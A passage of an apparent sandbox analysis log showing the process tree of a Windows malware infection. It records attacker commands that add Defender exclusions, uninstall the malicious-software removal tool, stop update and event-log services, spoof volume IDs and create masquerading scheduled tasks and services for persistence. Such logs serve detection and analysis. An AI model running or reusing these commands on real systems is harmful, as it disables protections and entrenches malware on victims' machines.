                                                                    4⤵
                                                                      PID:4108
                                                                      • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                        C:\ProgramData\Microsoft\Windows\Volumeid64.exe b: L3HH-BOM7
                                                                        5⤵
                                                                        • Executes dropped EXE
                                                                        PID:2488
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe c: LCAU-R7JM
                                                                      4⤵
                                                                        PID:3520
                                                                        • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                          C:\ProgramData\Microsoft\Windows\Volumeid64.exe c: LCAU-R7JM
                                                                          5⤵
                                                                          • Executes dropped EXE
                                                                          PID:4708
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe d: MIMF-CKII
                                                                        4⤵
                                                                          PID:900
                                                                          • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                            C:\ProgramData\Microsoft\Windows\Volumeid64.exe d: MIMF-CKII
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            PID:1816
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe e: IDOC-5UBC
                                                                          4⤵
                                                                            PID:1512
                                                                            • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                              C:\ProgramData\Microsoft\Windows\Volumeid64.exe e: IDOC-5UBC
                                                                              5⤵
                                                                              • Executes dropped EXE
                                                                              PID:3140
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe f: OK55-44IB
                                                                            4⤵
                                                                              PID:1672
                                                                              • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                C:\ProgramData\Microsoft\Windows\Volumeid64.exe f: OK55-44IB
                                                                                5⤵
                                                                                • Executes dropped EXE
                                                                                PID:452
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe g: 1V8C-OFFM
                                                                              4⤵
                                                                                PID:1076
                                                                                • C:\Windows\System32\Conhost.exe
                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                  5⤵
                                                                                    PID:2168
                                                                                  • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                    C:\ProgramData\Microsoft\Windows\Volumeid64.exe g: 1V8C-OFFM
                                                                                    5⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:3372
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe h: ES01-2ISC
                                                                                  4⤵
                                                                                    PID:2456
                                                                                    • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                      C:\ProgramData\Microsoft\Windows\Volumeid64.exe h: ES01-2ISC
                                                                                      5⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:4520
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe i: DG7N-0PH6
                                                                                    4⤵
                                                                                      PID:2764
                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                        5⤵
                                                                                          PID:1984
                                                                                        • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                          C:\ProgramData\Microsoft\Windows\Volumeid64.exe i: DG7N-0PH6
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:3516
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe j: 4OPL-NR0L
                                                                                        4⤵
                                                                                          PID:4544
                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            5⤵
                                                                                              PID:2616
                                                                                            • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                              C:\ProgramData\Microsoft\Windows\Volumeid64.exe j: 4OPL-NR0L
                                                                                              5⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:1196
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe k: AIU0-JR6C
                                                                                            4⤵
                                                                                              PID:2496
                                                                                              • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                C:\ProgramData\Microsoft\Windows\Volumeid64.exe k: AIU0-JR6C
                                                                                                5⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:3592
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe l: K4SE-OBJ5
                                                                                              4⤵
                                                                                                PID:2276
                                                                                                • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                  C:\ProgramData\Microsoft\Windows\Volumeid64.exe l: K4SE-OBJ5
                                                                                                  5⤵
                                                                                                    PID:2620
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe m: ITOB-656E
                                                                                                  4⤵
                                                                                                    PID:3692
                                                                                                    • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                      C:\ProgramData\Microsoft\Windows\Volumeid64.exe m: ITOB-656E
                                                                                                      5⤵
                                                                                                        PID:2100
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe n: ELPA-BVHJ
                                                                                                      4⤵
                                                                                                        PID:3280
                                                                                                        • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                          C:\ProgramData\Microsoft\Windows\Volumeid64.exe n: ELPA-BVHJ
                                                                                                          5⤵
                                                                                                            PID:1704
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe o: TUUN-ZIF6
                                                                                                          4⤵
                                                                                                            PID:736
                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              5⤵
                                                                                                                PID:760
                                                                                                              • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                                C:\ProgramData\Microsoft\Windows\Volumeid64.exe o: TUUN-ZIF6
                                                                                                                5⤵
                                                                                                                  PID:2428
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe p: 3IFZ-F8R8
                                                                                                                4⤵
                                                                                                                  PID:2396
                                                                                                                  • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                                    C:\ProgramData\Microsoft\Windows\Volumeid64.exe p: 3IFZ-F8R8
                                                                                                                    5⤵
                                                                                                                      PID:2056
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe r: I3BO-LVNZ
                                                                                                                    4⤵
                                                                                                                      PID:2344
                                                                                                                      • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                                        C:\ProgramData\Microsoft\Windows\Volumeid64.exe r: I3BO-LVNZ
                                                                                                                        5⤵
                                                                                                                          PID:436
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe s: 6IR5-E850
                                                                                                                        4⤵
                                                                                                                          PID:4888
                                                                                                                          • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                                            C:\ProgramData\Microsoft\Windows\Volumeid64.exe s: 6IR5-E850
                                                                                                                            5⤵
                                                                                                                              PID:1952
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe t: 7JH1-CGH2
                                                                                                                            4⤵
                                                                                                                              PID:4836
                                                                                                                              • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                                                C:\ProgramData\Microsoft\Windows\Volumeid64.exe t: 7JH1-CGH2
                                                                                                                                5⤵
                                                                                                                                  PID:3104
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe u: 6PP0-BHZ7
                                                                                                                                4⤵
                                                                                                                                  PID:3020
                                                                                                                                  • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                                                    C:\ProgramData\Microsoft\Windows\Volumeid64.exe u: 6PP0-BHZ7
                                                                                                                                    5⤵
                                                                                                                                      PID:3856
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe v: KUMP-L181
                                                                                                                                    4⤵
                                                                                                                                      PID:4828
                                                                                                                                      • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                                                        C:\ProgramData\Microsoft\Windows\Volumeid64.exe v: KUMP-L181
                                                                                                                                        5⤵
                                                                                                                                          PID:2724
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe y: BUED-JILZ
                                                                                                                                        4⤵
                                                                                                                                          PID:4188
                                                                                                                                          • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                                                            C:\ProgramData\Microsoft\Windows\Volumeid64.exe y: BUED-JILZ
                                                                                                                                            5⤵
                                                                                                                                              PID:3432
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe z: NRC2-CPJG
                                                                                                                                            4⤵
                                                                                                                                              PID:4432
                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                5⤵
                                                                                                                                                  PID:2232
                                                                                                                                                • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                                                                  C:\ProgramData\Microsoft\Windows\Volumeid64.exe z: NRC2-CPJG
                                                                                                                                                  5⤵
                                                                                                                                                    PID:812
                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" /C del C:\ProgramData\Microsoft\Windows\DevManView.cfg
                                                                                                                                                  4⤵
                                                                                                                                                    PID:5036
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /C del C:\ProgramData\Microsoft\Windows\DevManView.chm
                                                                                                                                                    4⤵
                                                                                                                                                      PID:1644
                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /C del C:\ProgramData\Microsoft\Windows\DevManView.exe
                                                                                                                                                      4⤵
                                                                                                                                                        PID:3704
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /C del C:\ProgramData\Microsoft\Windows\amide.sys
                                                                                                                                                        4⤵
                                                                                                                                                          PID:1836
                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C del C:\ProgramData\Microsoft\Windows\amifldrv64.sys
                                                                                                                                                          4⤵
                                                                                                                                                            PID:5128
                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                            "C:\Windows\System32\cmd.exe" /C del C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                                                                                                                            4⤵
                                                                                                                                                              PID:5188
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /C del C:\ProgramData\Microsoft\Windows\Disk.bat
                                                                                                                                                              4⤵
                                                                                                                                                                PID:5244
                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\sphyperRuntimedhcpSvc.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\sphyperRuntimedhcpSvc.exe"
                                                                                                                                                              3⤵
                                                                                                                                                              • Checks computer location settings
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • Modifies registry class
                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                              PID:2632
                                                                                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                "C:\Windows\System32\WScript.exe" "C:\ChainReview\4N7V2tIOe7KSQ8eET3YGuCyK2Y.vbe"
                                                                                                                                                                4⤵
                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                PID:2688
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\ChainReview\8xoM57ln5l3nWVEqwKA0TDOQ0Am35EOuQMtKP.bat" "
                                                                                                                                                                  5⤵
                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                  PID:3256
                                                                                                                                                                  • C:\ChainReview\sphyperRuntimedhcpSvc.exe
                                                                                                                                                                    "C:\ChainReview/sphyperRuntimedhcpSvc.exe"
                                                                                                                                                                    6⤵
                                                                                                                                                                    • Checks computer location settings
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                    PID:3556
                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Common Files\DESIGNER\csrss.exe'
                                                                                                                                                                      7⤵
                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                      PID:1224
                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Common Files\SearchApp.exe'
                                                                                                                                                                      7⤵
                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                      PID:2136
                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ja-JP\fontdrvhost.exe'
                                                                                                                                                                      7⤵
                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                      PID:1848
                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\en-US\conhost.exe'
                                                                                                                                                                      7⤵
                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                      PID:3372
                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Reference Assemblies\Microsoft\SppExtComObj.exe'
                                                                                                                                                                      7⤵
                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                      PID:2120
                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\KnrOHCCDDZ.bat"
                                                                                                                                                                      7⤵
                                                                                                                                                                        PID:2792
                                                                                                                                                                        • C:\Windows\system32\chcp.com
                                                                                                                                                                          chcp 65001
                                                                                                                                                                          8⤵
                                                                                                                                                                            PID:2616
                                                                                                                                                                          • C:\Windows\system32\PING.EXE
                                                                                                                                                                            ping -n 10 localhost
                                                                                                                                                                            8⤵
                                                                                                                                                                            • Runs ping.exe
                                                                                                                                                                            PID:208
                                                                                                                                                                          • C:\Windows\en-US\conhost.exe
                                                                                                                                                                            "C:\Windows\en-US\conhost.exe"
                                                                                                                                                                            8⤵
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                                            PID:4524
                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\conhostsft.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\conhostsft.exe"
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Checks computer location settings
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                  PID:1672
                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\.conhostsft.exe
                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\.conhostsft.exe"
                                                                                                                                                                    4⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                    PID:1908
                                                                                                                                                                    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                      5⤵
                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                      PID:2680
                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                      5⤵
                                                                                                                                                                        PID:4480
                                                                                                                                                                        • C:\Windows\system32\wusa.exe
                                                                                                                                                                          wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                          6⤵
                                                                                                                                                                            PID:3140
                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                          C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                                                          5⤵
                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                          PID:3348
                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                          C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                                                                          5⤵
                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                          PID:3660
                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:2444
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                                                                            5⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:1824
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            C:\Windows\system32\sc.exe stop bits
                                                                                                                                                                            5⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:1296
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            C:\Windows\system32\sc.exe stop dosvc
                                                                                                                                                                            5⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:632
                                                                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                                                                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:4536
                                                                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                                                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                                              5⤵
                                                                                                                                                                                PID:4616
                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                  6⤵
                                                                                                                                                                                    PID:208
                                                                                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                                                  5⤵
                                                                                                                                                                                    PID:3540
                                                                                                                                                                                  • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                                                    5⤵
                                                                                                                                                                                      PID:1004
                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                      C:\Windows\system32\sc.exe delete "driverupdate"
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                      PID:2112
                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                      C:\Windows\system32\sc.exe create "driverupdate" binpath= "C:\ProgramData\VC_redist.x64.exe" start= "auto"
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                      PID:2136
                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                      C:\Windows\system32\sc.exe stop eventlog
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                      PID:1216
                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:2240
                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                        C:\Windows\system32\sc.exe start "driverupdate"
                                                                                                                                                                                        5⤵
                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                        PID:1572
                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Program Files\Common Files\DESIGNER\csrss.exe'" /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                PID:1236
                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files\Common Files\DESIGNER\csrss.exe'" /rl HIGHEST /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                PID:1972
                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Program Files\Common Files\DESIGNER\csrss.exe'" /rl HIGHEST /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                PID:3516
                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Common Files\SearchApp.exe'" /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                PID:4976
                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\SearchApp.exe'" /rl HIGHEST /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                PID:812
                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Common Files\SearchApp.exe'" /rl HIGHEST /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                PID:1612
                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 11 /tr "'C:\Windows\ja-JP\fontdrvhost.exe'" /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                PID:3648
                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\ja-JP\fontdrvhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                PID:5088
                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 10 /tr "'C:\Windows\ja-JP\fontdrvhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                PID:932
                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 10 /tr "'C:\Windows\en-US\conhost.exe'" /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                PID:2680
                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\en-US\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                PID:752
                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 5 /tr "'C:\Windows\en-US\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                PID:4124
                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 14 /tr "'C:\Program Files\Reference Assemblies\Microsoft\SppExtComObj.exe'" /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                PID:2580
                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\SppExtComObj.exe'" /rl HIGHEST /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                PID:3992
                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 7 /tr "'C:\Program Files\Reference Assemblies\Microsoft\SppExtComObj.exe'" /rl HIGHEST /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                PID:3112
                                                                                                                                                                              • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                                                                                "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:3184
                                                                                                                                                                                • C:\ProgramData\VC_redist.x64.exe
                                                                                                                                                                                  C:\ProgramData\VC_redist.x64.exe
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                  PID:2500
                                                                                                                                                                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                    PID:3780
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:3208
                                                                                                                                                                                      • C:\Windows\system32\wusa.exe
                                                                                                                                                                                        wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:760
                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                        C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                        PID:4692
                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                        C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                                                                                        2⤵
